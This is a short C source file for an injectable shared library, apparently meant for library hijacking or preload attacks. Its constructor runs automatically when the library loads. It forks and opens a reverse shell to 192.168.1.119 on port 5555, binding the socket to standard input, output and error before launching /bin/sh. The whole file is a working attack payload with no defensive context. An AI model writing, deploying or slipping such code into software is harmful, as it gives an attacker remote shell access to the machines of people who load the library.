#include #include #include #include #include #include #include #include #include __attribute__((constructor)) static void init() { printf("Library successfully injected!\n"); syslog(LOG_CRIT, "Library called\n"); //Just a sample reverse shell (https://www.revshells.com/) pid_t pid = fork(); if(pid==0){ int port = 5555; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.119"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } }